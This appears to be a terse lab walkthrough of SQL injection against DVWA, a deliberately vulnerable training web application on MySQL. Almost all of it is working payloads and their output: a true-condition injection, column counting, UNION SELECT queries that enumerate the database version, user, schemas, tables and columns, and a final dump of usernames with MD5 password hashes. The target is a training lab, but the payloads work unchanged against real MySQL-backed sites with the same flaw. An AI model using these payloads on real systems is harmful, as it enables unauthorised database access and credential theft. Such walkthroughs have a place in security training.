

mysql-dvwa

-1' or 1=1#

Test parameters

```
ID: -1' or 1=1#  
First name: admin  
Surname: admin  
  
ID: -1' or 1=1#  
First name: Gordon  
Surname: Brown  
  
ID: -1' or 1=1#  
First name: Hack  
Surname: Me  
  
ID: -1' or 1=1#  
First name: Pablo  
Surname: Picasso  
  
ID: -1' or 1=1#  
First name: Bob  
Surname: Smith
```

-1' order by 3#

Determine number of columns

```
Unknown column '3' in 'order clause'
```

1' order by 2#

if its -1, there would be no entry.

User ID:

```
ID: 1' order by 2#  
First name: admin  
Surname: admin
```

-1' union select database(),version() #

List down information on mysql software

User ID:

```
ID: -1' union select database(),version() #  
First name: dvwa  
Surname: 5.5.27
```

-1' union select concat(database(),' ',version()), user()#
List down information on which user is running the software

```
ID: -1' union select concat(database(),' ',version()), user()#  
First name: dvwa 5.5.27  
Surname: root@localhost
```

-1' union select 'DATABASE ', schema_name from information_schema.schemata #
Show all the databases

```
ID: -1' union select 'DATABASE ', schema_name from information_schema.schemata #  
First name: DATABASE  
Surname: information_schema  
  
ID: -1' union select 'DATABASE ', schema_name from information_schema.schemata #  
First name: DATABASE  
Surname: cdcol  
  
ID: -1' union select 'DATABASE ', schema_name from information_schema.schemata #  
First name: DATABASE  
Surname: dvwa  
  
ID: -1' union select 'DATABASE ', schema_name from information_schema.schemata #  
First name: DATABASE  
Surname: mysql  
  
ID: -1' union select 'DATABASE ', schema_name from information_schema.schemata #  
First name: DATABASE  
Surname: performance_schema  
  
ID: -1' union select 'DATABASE ', schema_name from information_schema.schemata #  
First name: DATABASE  
Surname: phpmyadmin  
  
ID: -1' union select 'DATABASE ', schema_name from information_schema.schemata #  
First name: DATABASE  
Surname: test  
  
ID: -1' union select 'DATABASE ', schema_name from information_schema.schemata #  
First name: DATABASE  
Surname: webauth
```

-1' union select 'TABLE_NAME',table_name from information_schema.tables where
table_schema='dvwa'
Show tables

```
ID: -1' union select 'TABLE_NAME',table_name from information_schema.tables where table_schema='dvwa' #  
First name: TABLE_NAME  
Surname: guestbook  
  
ID: -1' union select 'TABLE_NAME',table_name from information_schema.tables where table_schema='dvwa' #  
First name: TABLE_NAME  
Surname: users
```

-1' union select 'COLUMN_NAME',column_name from information_schema.columns where
table_schema='dvwa' and table_name='users' #
Show columns

ID: -1' union select 'C
First name: COLUMN_NAME
Surname: user_id

ID: -1' union select 'C
First name: COLUMN_NAME
Surname: first_name

ID: -1' union select 'C
First name: COLUMN_NAME
Surname: last_name

ID: -1' union select 'C
First name: COLUMN_NAME
Surname: user

ID: -1' union select 'C
First name: COLUMN_NAME
Surname: password

ID: -1' union select 'C
First name: COLUMN_NAME
Surname: avatar

ID: -1' union select 'C
First name: COLUMN_NAME
Surname: last_login

ID: -1' union select 'C
First name: COLUMN_NAME
Surname: failed_login

-1' union select concat(first_name, " ", last_name), concat(user_id,":",user,":",password) from users #
Dump data

ID: -1' union select concat(first_name, " ", last_name), concat(user_id,":",user,":",password) from users # First name: admin admin Surname: 1:admin:5f4dcc3b5aa765d61d8327deb882cf99	
ID: -1' union select concat(first_name, " ", last_name), concat(user_id,":",user,":",password) from users # First name: Gordon Brown Surname: 2:gordonb:e99a18c428cb38d5f260853678922e03	
ID: -1' union select concat(first_name, " ", last_name), concat(user_id,":",user,":",password) from users # First name: Hack Me Surname: 3:1337:8d3533d75ae2c3966d7e0d4fcc69216b	
ID: -1' union select concat(first_name, " ", last_name), concat(user_id,":",user,":",password) from users # First name: Pablo Picasso Surname: 4:pablo:0d107d09f5bbe40cade3de5c71e9e9b7	
ID: -1' union select concat(first_name, " ", last_name), concat(user_id,":",user,":",password) from users # First name: Bob Smith Surname: 5:smithy:5f4dcc3b5aa765d61d8327deb882cf99	